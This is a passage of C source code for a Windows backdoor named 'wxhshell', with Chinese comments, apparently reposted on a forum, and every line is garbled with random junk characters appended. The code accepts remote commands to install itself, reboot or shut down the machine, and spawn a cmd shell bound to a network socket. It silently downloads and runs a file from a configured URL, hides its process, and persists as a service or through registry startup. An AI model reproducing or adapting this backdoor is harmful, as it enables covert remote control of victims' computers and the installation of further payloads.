  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); XBQ<  
  } 3']:1B  
  else { 5\w=(c9A  
.p(6' TYnI  
    switch(cmd[0]) { Q_kT}6#(J=  
  HA9Nr.NqC@  
  // 帮助 =tc`:!$  
  case '?': { _:g GD8  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); S $_Y/x  
    break; $EQT"ZX>%i  
  } /iTUex7T  
  // 安装 >1r[]&8  
  case 'i': { YNg\"XjJM<  
    if(Install()) _(6B.  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); K Z!N{.Jk  
    else g| ._n  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); - Y8ks7  
    break; rO(TG  
    } HZDaV&)@  
  // 卸载 YQ @dl  
  case 'r': { \)otu\3/  
    if(Uninstall()) uRm_  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); K=c=/`E  
    else c8-69hb?  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); sWsG,v_  
    break; -eR!qy:.]5  
    } DrCWvpudd  
  // 显示 wxhshell 所在路径 :otY;n-  
  case 'p': { jom} _  
    char svExeFile[MAX_PATH]; Db#W/8 a8k  
    strcpy(svExeFile,"\n\r"); fVH*dX'Jz  
      strcat(svExeFile,ExeFile); [ZKtbPHb  
        send(wsh,svExeFile,strlen(svExeFile),0); {UdcX~\~  
    break; sb}K%-  
    } h0F0d^W.  
  // 重启 P /c Q1  
  case 'b': { Zk/' \(5  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); *(d6Z#  
    if(Boot(REBOOT)) s%N`  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); f@! fW&  
    else { i'W_;Y}  
    closesocket(wsh); <78$]Z2we  
    ExitThread(0); Ha)3i{OM  
    } 3?.1~"-J  
    break; I&pr_~.  
    } R=vbUA  
  // 关机 .DDg%z  
  case 'd': { lL(p]!K'  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 3$?9uMl#  
    if(Boot(SHUTDOWN)) ;|>q zx  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0i8[=  
    else { !,Xyl} #  
    closesocket(wsh); 5)d,G9  
    ExitThread(0); sf |oNOz  
    } YN,y0t/cQ  
    break; vzY'+9q1.  
    } ]aC ':55(  
  // 获取shell ,DQGv_  
  case 's': { L$Hx?^3  
    CmdShell(wsh); z(g%ue\  
    closesocket(wsh); a=J@y K  
    ExitThread(0); iK5]y+@8  
    break; +{,N X  
  } a>o"^%x  
  // 退出 r6d0x  
  case 'x': { k4qLB1&,  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); z5XYpi_;[  
    CloseIt(wsh); _M8G3QOx  
    break; :3KO6/+  
    } 3]O`[P,*%  
  // 离开 IL~]m?'V(  
  case 'q': { P0%N Q1bn  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); n-b>m7O(  
    closesocket(wsh); S}oG.r 9  
    WSACleanup(); 7?6xPKQ)H  
    exit(1); e[x?6He,$  
    break; A Gv!c($  
        } rNxrQ  
  } K\RWC4  
  } J+ Jt4  
AMbKN2h1f  
  // 提示信息 `Y\gSUhzS  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); yGb a  
} F&=I7i  
  } ; cGv] A+  
U91 &|  
  return; k2EHco0BG  
} B#FHf Z  
D:=t*2-Iv  
// shell模块句柄 @%6)^]m}r  
int CmdShell(SOCKET sock) 't +"k8  
{ r5t;'eCe a  
STARTUPINFO si; _*O7l  
ZeroMemory(&si,sizeof(si)); 3p:=xL  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ?qju DD  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 2dHM  
PROCESS_INFORMATION ProcessInfo; u?Fnln e4@  
char cmdline[]="cmd"; Oo FgQEr@  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); >vUB%OLyP  
  return 0; "6?lQw e  
} iaY5JEV:CA  
aXMv(e+  
// 自身启动模式 CPVzX%=  
int StartFromService(void) ZU=,f'bU  
{ r eGm>  
typedef struct o^HNF+sm  
{ Z}|TW~J=  
  DWORD ExitStatus;  b<[jaI0  
  DWORD PebBaseAddress; xC<=~(  
  DWORD AffinityMask; qs=Gj?GwGQ  
  DWORD BasePriority; 4HM;K_G%{  
  ULONG UniqueProcessId; +T9Q_e*  
  ULONG InheritedFromUniqueProcessId; eymi2-a<  
}   PROCESS_BASIC_INFORMATION; ? m&IF<b  
:.Y|I[\E%  
PROCNTQSIP NtQueryInformationProcess; he"L*p*H  
O/mR9[}  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 9/#0?(K8  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; b`$yqi<[  
2;8Xz 6T  
  HANDLE             hProcess; $30oc Tt{  
  PROCESS_BASIC_INFORMATION pbi; W7t >&3l  
|~z3U>  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); *P`v^&  
  if(NULL == hInst ) return 0; xdPcsox~  
YQ; cJ$  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); N1%p"(  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); f0vJm  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); WP}ixcq#  
1@xP(XS  
  if (!NtQueryInformationProcess) return 0; Q8p=!K  
m# JI!_~!  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); g6WPPpqus  
  if(!hProcess) return 0; <j;]!qFR  
',GV6kt_k  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; o7.e'1@  
$*k)|4  
  CloseHandle(hProcess); D}-o+6TI?  
%;7.9%  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); z 5'ZN+  
if(hProcess==NULL) return 0; X/l;s  
Y,C=@t@_  
HMODULE hMod; Q $]YD pCM  
char procName[255]; y,Jh@n';|  
unsigned long cbNeeded; {3LA%xO  
(ew} gJ  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); [>f]@>  
6gnbkpYi  
  CloseHandle(hProcess); &f-hG3/M  
ND5$bq Nu?  
if(strstr(procName,"services")) return 1; // 以服务启动 \@K~L4>  
gw^'{b  
  return 0; // 注册表启动 V>Fesm"aq  
} %t*  
~h! 13!  
// 主模块 GX  }q9  
int StartWxhshell(LPSTR lpCmdLine) /4*WDiH  
{ #jBN?Z#  
  SOCKET wsl; KVN"XqE4  
BOOL val=TRUE; [[WF0q  
  int port=0; X P;Bhz3j  
  struct sockaddr_in door; Mu{BUtkzG  
~EEs} i  
  if(wscfg.ws_autoins) Install(); 9 #qeFBI  
pISp*&  
port=atoi(lpCmdLine); dFW.}"^c  
CQgcC-)ns]  
if(port<=0) port=wscfg.ws_port; ,(N[*)G  
)o{aeV  
  WSADATA data; m2xBS!fm  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; &$=!dA  
*/(I[p  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   l1A5Y5x9=  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); <r~wZ}s  
  door.sin_family = AF_INET; [}-3PpF  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); T  p<s1'"  
  door.sin_port = htons(port); )6-9)pH@)  
[ ny6W9  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ZSB?Y 1wG  
closesocket(wsl); ?qmp_2:WU  
return 1; _'!kuE,*1  
} GS;%zdH~  
e)@3m.  
  if(listen(wsl,2) == INVALID_SOCKET) { j+kC-U;  
closesocket(wsl); 8md*wEjk  
return 1; 7O)" `  
} FOH@OY  
  Wxhshell(wsl); w<NyV8-hL  
  WSACleanup(); <??umkV  
6o=G8y  
return 0; M:n6BC>t"  
~Y7dH Dn  
} Vn, >< g  
2'|8Q\,:4Z  
// 以NT服务方式启动 QA?oJ_}y  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) eKG2*CV  
{ /Vww?9U;  
DWORD   status = 0; =-#G8L%Q  
  DWORD   specificError = 0xfffffff; MsOs{2 )2  
w5,Mb  
  serviceStatus.dwServiceType     = SERVICE_WIN32; [sy j#  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 3^,QIG  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; iPj~I  
  serviceStatus.dwWin32ExitCode     = 0; "& 25D  
  serviceStatus.dwServiceSpecificExitCode = 0; 2S ~R!   
  serviceStatus.dwCheckPoint       = 0; ZVih=Y-w  
  serviceStatus.dwWaitHint       = 0; !<<AzLVL  
Q.Aa{d9e  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Kz?#C  
  if (hServiceStatusHandle==0) return; s{}]D{bc  
@Jn!0Y1_3  
status = GetLastError(); 7TX2&kMoc  
  if (status!=NO_ERROR) :TalW~r|  
{ UvJ; A  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; h6v077qG  
    serviceStatus.dwCheckPoint       = 0; b5a.go  
    serviceStatus.dwWaitHint       = 0; q7\Ovjs0  
    serviceStatus.dwWin32ExitCode     = status; F<|t\KOW  
    serviceStatus.dwServiceSpecificExitCode = specificError; B^v8,;jZT  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 8sOQ9  
    return; ;9a 6pz<  
  } `]i []|  
%*}Y6tl'|  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; "ju'UOcS/  
  serviceStatus.dwCheckPoint       = 0; wT,R0~V0  
  serviceStatus.dwWaitHint       = 0; b:W-l?  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); E4z)Mr#  
} 6.WceWBR  
>''U  
// 处理NT服务事件,比如:启动、停止 A8r^)QJP{  
VOID WINAPI NTServiceHandler(DWORD fdwControl) /F)H\*  
{ :-T*gqj|  
switch(fdwControl) -NJ!g/ >mM  
{ 7[pBUDA  
case SERVICE_CONTROL_STOP: neZ.`"LV  
  serviceStatus.dwWin32ExitCode = 0; i)a%!1Ar  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; u=x+ J=AH  
  serviceStatus.dwCheckPoint   = 0; d+eZub94U  
  serviceStatus.dwWaitHint     = 0; L gk   
  { dT|vYK}\  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); sD;M!K_  
  } hX:"QXx  
  return; \ 0W!4D  
case SERVICE_CONTROL_PAUSE: zUJZ`seF  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; <y.]ImO  
  break; ;&b.T}Nf06  
case SERVICE_CONTROL_CONTINUE: Q\ppfc{,  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; OHv!  
  break;  VqSc;w  
case SERVICE_CONTROL_INTERROGATE: Ifc]K?  
  break; saf&dd  
}; Fh$slow4!  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); yLE7>48  
} w>; L{  
W-Hoyn>?2  
// 标准应用程序主函数 co8"sz0(U  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ').}Nz  
{ tBbOY}.VD  
yw-8#y  
// 获取操作系统版本 >Gml4vGK  
OsIsNt=GetOsVer(); %QmxA 7fW  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Zdc63fllM  
8,P- 7^  
  // 从命令行安装 dP?Ge}  
  if(strpbrk(lpCmdLine,"iI")) Install(); fxaJZz$o  
Rhc-q|Lz8  
  // 下载执行文件 4`m~FNVS   
if(wscfg.ws_downexe) { CC=d I  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Mn1Pt|_@!  
  WinExec(wscfg.ws_filenam,SW_HIDE); aT!'}GjL  
} s#~GH6/  
8BOZh6BV  
if(!OsIsNt) { ,l YE  
// 如果时win9x,隐藏进程并且设置为注册表启动 c/N@zum,{  
HideProc(); "5R~(+~<@  
StartWxhshell(lpCmdLine); \MC-4Yz  
} EP'h@zdz  
else q;g>t5]a  
  if(StartFromService()) l/TjQ*  
  // 以服务方式启动 Z;Ez"t&U  
  StartServiceCtrlDispatcher(DispatchTable); [qUN4x5b  
else MTg:dR_  
  // 普通方式启动 wI]"U2L5  
  StartWxhshell(lpCmdLine); h,aAw#NE*  
ryF7  
return 0; xsd_Uu*  
}
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只看该作者 1 发表于: 2006-10-10
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